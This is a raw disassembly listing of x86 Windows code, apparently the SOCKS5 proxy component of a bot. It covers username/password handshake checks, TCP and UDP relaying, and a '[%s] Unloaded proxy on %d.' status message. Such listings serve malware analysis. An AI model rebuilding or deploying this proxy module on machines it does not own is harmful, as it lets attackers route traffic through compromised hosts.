loc_42A324: ; CODE XREF: sub_42A150+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017E4
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
loc_42A359: ; CODE XREF: sub_42A150+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42A150 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A400 proc near ; CODE XREF: sub_40174Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
nop
call near ptr 71AB4FD4h
test eax, eax
jz short loc_42A421
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42A421: ; CODE XREF: sub_42A400+Dj
xor al, al
retn 8
sub_42A400 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A440 proc near ; CODE XREF: sub_4020C2j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42A461: ; CODE XREF: sub_42A440+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A47A: ; CODE XREF: sub_42A440+45j
cmp [ecx], ebx
jz short loc_42A487
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A47A
loc_42A487: ; CODE XREF: sub_42A440+3Cj
cmp eax, 1
jnz short loc_42A498
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42A498: ; CODE XREF: sub_42A440+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42A523
cmp eax, 0FFFFFFFFh
jz short loc_42A523
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_436F60
test eax, eax
jz short loc_42A4CC
mov eax, ebp
mov ebp, ebx
jmp short loc_42A4CE
; ---------------------------------------------------------------------------
loc_42A4CC: ; CODE XREF: sub_42A440+84j
mov eax, ebx
loc_42A4CE: ; CODE XREF: sub_42A440+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
call near ptr 71AB615Ah
nop
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42A572
test edi, edi
jz short loc_42A572
jbe short loc_42A51C
loc_42A4FB: ; CODE XREF: sub_42A440+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42A572
add esi, eax
cmp esi, edi
jb short loc_42A4FB
loc_42A51C: ; CODE XREF: sub_42A440+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42A523: ; CODE XREF: sub_42A440+70j
; sub_42A440+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A535: ; CODE XREF: sub_42A440+100j
cmp [ecx], ebx
jz short loc_42A542
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A535
loc_42A542: ; CODE XREF: sub_42A440+F7j
cmp eax, 1
jnz short loc_42A554
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42A554: ; CODE XREF: sub_42A440+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jle loc_42A461
loc_42A572: ; CODE XREF: sub_42A440+B3j
; sub_42A440+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42A440 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42A68F
dec eax
jz short loc_42A63A
dec eax
jnz loc_42A782
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A63A: ; CODE XREF: sub_42A5F0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_40174E
test al, al
jz loc_42A782
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42A6AB
; ---------------------------------------------------------------------------
loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj
mov ebx, dword_50FC30
push 11h
push 2
push 2
call ebx ; dword_50FC30
push 11h
push 2
push 2
mov edi, eax
call ebx ; dword_50FC30
cmp edi, 0FFFFFFFFh
jz loc_42A782
cmp eax, 0FFFFFFFFh
jnz loc_42A782
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_50FC5C
push edx
push esi
push edi
call ebp ; dword_50FC5C
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
nop
call near ptr 71AB3E00h
test eax, eax
jnz short loc_42A782
loc_42A709: ; CODE XREF: sub_42A5F0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
nop
call near ptr 71AB2D0Fh
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp ; dword_50FC5C
test esi, esi
jbe short loc_42A766
cmp esi, 0FFFFFFFFh
jnz short loc_42A709
loc_42A766: ; CODE XREF: sub_42A5F0+16Fj
mov esi, dword_50FC88
push edi
call esi ; dword_50FC88
push 0FFFFFFFFh
call esi ; dword_50FC88
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: sub_42A5F0+35j
; sub_42A5F0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42A5F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A810 proc near ; CODE XREF: sub_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = word ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_708 = dword ptr -708h
var_704 = byte ptr -704h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = word ptr -5F8h
var_5F6 = byte ptr -5F6h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42AACA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42ABE6
mov edi, dword_50FC80
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi ; dword_50FC80
test eax, eax
jle loc_42AC73
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_436F60
test eax, eax
jz loc_42AC73
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esp+83Ch+var_820], eax
jz loc_42AACA
mov ebx, dword_50FC90
push 0
lea edx, [esp+840h+var_600]
push 2
push edx
push esi
call ebx ; dword_50FC90
cmp byte ptr [esp+83Ch+var_600], 5
jnz loc_42AACA
movsx eax, byte ptr [esp+83Ch+var_600+1]
xor ecx, ecx
lea edx, [esp+83Ch+var_600]
mov [esp+83Ch+var_600], ecx
mov [esp+83Ch+var_5FC], ecx
mov [esp+83Ch+var_5F8], cx
push ecx
push eax
push edx
push esi
mov [esp+84Ch+var_5F6], cl
call ebx ; dword_50FC90
push 0
push 2
push offset dword_445344
push esi
call near ptr 71AB428Ah
nop
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_828], 0
mov [esp+850h+var_82C], 7
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call edi ; dword_50FC80
xor eax, eax
lea edx, [esp+83Ch+var_600]
push eax
mov ecx, 20h
lea edi, [esp+840h+var_600]
push 2
push edx
push esi
rep stosd
call ebx ; dword_50FC90
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42AACA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx ; dword_50FC90
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx ; dword_50FC90
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx ; dword_50FC90
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017E4
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42A9DB: ; CODE XREF: sub_42A810+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42A9FF
test al, al
jz short loc_42A9FB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42A9FF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42A9DB
loc_42A9FB: ; CODE XREF: sub_42A810+1D5j
xor eax, eax
jmp short loc_42AA04
; ---------------------------------------------------------------------------
loc_42A9FF: ; CODE XREF: sub_42A810+1D1j
; sub_42A810+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA04: ; CODE XREF: sub_42A810+1EDj
test eax, eax
jz short loc_42AA61
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017E4
lea edi, [esp+83Ch+var_100]
loc_42AA1E: ; CODE XREF: sub_42A810+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42AA42
test cl, cl
jz short loc_42AA3E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42AA42
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42AA1E
loc_42AA3E: ; CODE XREF: sub_42A810+218j
xor eax, eax
jmp short loc_42AA47
; ---------------------------------------------------------------------------
loc_42AA42: ; CODE XREF: sub_42A810+214j
; sub_42A810+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA47: ; CODE XREF: sub_42A810+230j
test eax, eax
jz short loc_42AA61
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AA61: ; CODE XREF: sub_42A810+1F6j
; sub_42A810+239j
mov edi, dword_50FC8C
push 0
push 2
push offset dword_445340
push esi
call edi ; dword_50FC8C
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
nop
call near ptr 71AB2DC0h
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_436F60
test eax, eax
jz short loc_42AACA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx ; dword_50FC90
mov eax, [esp+83Ch+var_708+3]
and eax, 0FFh
dec eax
jz short loc_42AB31
sub eax, 2
jz short loc_42AAD9
dec eax
loc_42AAC8: ; CODE XREF: sub_42A810+31Fj
jnz short loc_42AB40
loc_42AACA: ; CODE XREF: sub_42A810+32j
; sub_42A810+93j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AAD9: ; CODE XREF: sub_42A810+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx ; dword_50FC90
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_704]
push edx
push eax
push esi
call ebx ; dword_50FC90
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_704]
mov [esp+ecx+83Ch+var_704], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_40174E
test al, al
jmp short loc_42AAC8
; ---------------------------------------------------------------------------
loc_42AB31: ; CODE XREF: sub_42A810+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx ; dword_50FC90
loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx ; dword_50FC90
cmp byte ptr [esp+83Ch+var_708+1], 1
jnz loc_42AACA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
call near ptr 71AB406Ah
nop
test eax, eax
jnz loc_42AACA
push eax
push 4
push offset dword_445338
push esi
call edi ; dword_50FC8C
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi ; dword_50FC8C
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi ; dword_50FC8C
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020C2
push ebx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42ABE6: ; CODE XREF: sub_42A810+47j
cmp ax, 2
jnz loc_42AC73
mov ebx, dword_50FC80
loc_42ABF6: ; CODE XREF: sub_42A810+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx ; dword_50FC80
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
nop
call near ptr 71AB2D0Fh
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C1C
test edi, edi
jz short loc_42AC73
cmp edi, 0FFFFFFFFh
jz short loc_42AC73
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_436F60
test eax, eax
jnz short loc_42ABF6
loc_42AC73: ; CODE XREF: sub_42A810+67j
; sub_42A810+7Aj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42A810 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ADB0 proc near ; CODE XREF: sub_401F19j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42ADC4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42ADD6
dec eax
jz short loc_42ADF8
mov word ptr [esi+6], 1
loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj
mov eax, 1
mov ecx, 6
loc_42ADE0: ; CODE XREF: sub_42ADB0+52j
push ecx
push eax
push 2
nop
call near ptr 71AB3B91h
test eax, eax
mov [esi+32h], eax
jnz short loc_42AE04
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42ADE0
; ---------------------------------------------------------------------------
loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
nop
call near ptr 71AB2B66h
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42AE49
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE49: ; CODE XREF: sub_42ADB0+86j
cmp word ptr [esi+6], 1
jnz short loc_42AE71
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42AE71
mov edx, [esi+32h]
push edx
call near ptr 71AB9639h
nop
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej
; sub_42ADB0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42ADB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AEC0 proc near ; CODE XREF: sub_401DBBj
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42AEC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42AF5A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42AF41
mov ebx, dword_50FC84
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx ; dword_50FC84
mov esi, eax
test esi, esi
jnz short loc_42AF26
loc_42AF12: ; CODE XREF: sub_42AEC0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx ; dword_50FC84
mov esi, eax
test esi, esi
jz short loc_42AF12
loc_42AF26: ; CODE XREF: sub_42AEC0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
call near ptr 71AB9639h
nop
test bl, bl
jnz short loc_42AF7A
loc_42AF41: ; CODE XREF: sub_42AEC0+39j
; sub_42AEC0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42AF54: ; DATA XREF: ___:00441F74o
mov eax, offset loc_42AF41
retn
; ---------------------------------------------------------------------------
loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj
cmp ax, 2
jnz short loc_42AF41
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
nop
call near ptr 71AB9639h
test bl, bl
jz short loc_42AF41
loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AEC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AFD0: ; CODE XREF: ___:00401F78j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43BB90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
nop
call near ptr 71AB9639h
loc_42B019: ; DATA XREF: ___:loc_42B031o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42B031: ; DATA XREF: ___:00441FD4o
mov eax, offset loc_42B019
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B060 proc near ; CODE XREF: sub_401C17j
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42B060
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
nop
call near ptr 71AB664Dh
test eax, eax
jz short loc_42B0D7
loc_42B097: ; CODE XREF: ___:0042B166j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42B0D7: ; CODE XREF: sub_42B060+35j
push 42h
call sub_4367FA
sub_42B060 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42B0FC
push 1
mov ecx, eax
call sub_4014E7
jmp short loc_42B0FE
; ---------------------------------------------------------------------------
loc_42B0FC: ; CODE XREF: ___:0042B0EFj
xor eax, eax
loc_42B0FE: ; CODE XREF: ___:0042B0FAj
mov dword_50E3D8, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_50E3D8
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40200E
lea eax, [esp+1C0h]
push eax
mov eax, dword_50E3D8
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40200E
mov eax, dword_50E3D8
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F19
test al, al
jz loc_42B097
loc_42B16C: ; CODE XREF: ___:0042B17Dj
mov eax, dword_50E3D8
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DBB
jmp short loc_42B16C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B1D0 proc near ; CODE XREF: sub_4014E7j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42B1F2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43E190
call sub_4014AB
loc_42B1F2: ; CODE XREF: sub_42B1D0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43E18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42B1D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B240 proc near ; CODE XREF: sub_4014ABj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B240
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_401424
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B240 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B2D0 proc near ; CODE XREF: sub_4020D1j
sub ecx, [ecx-4]
jmp sub_4013A2
sub_42B2D0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42B2E0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43BC08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401F82
push offset off_443D80
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43E1A0
call sub_4015D7
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42B368
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B368: ; CODE XREF: sub_42B350+Dj
mov eax, esi
pop esi
retn 4
sub_42B350 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B380 proc near ; CODE XREF: sub_4011BDj
jmp sub_40179E
sub_42B380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3A0 proc near ; CODE XREF: sub_40134Dj
var_10 = byte ptr -10h
mov eax, 1000h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42B42C
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx ; dword_50FC90
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+28h+var_10]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp ; dword_50FC8C
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov ecx, [esi+99h]
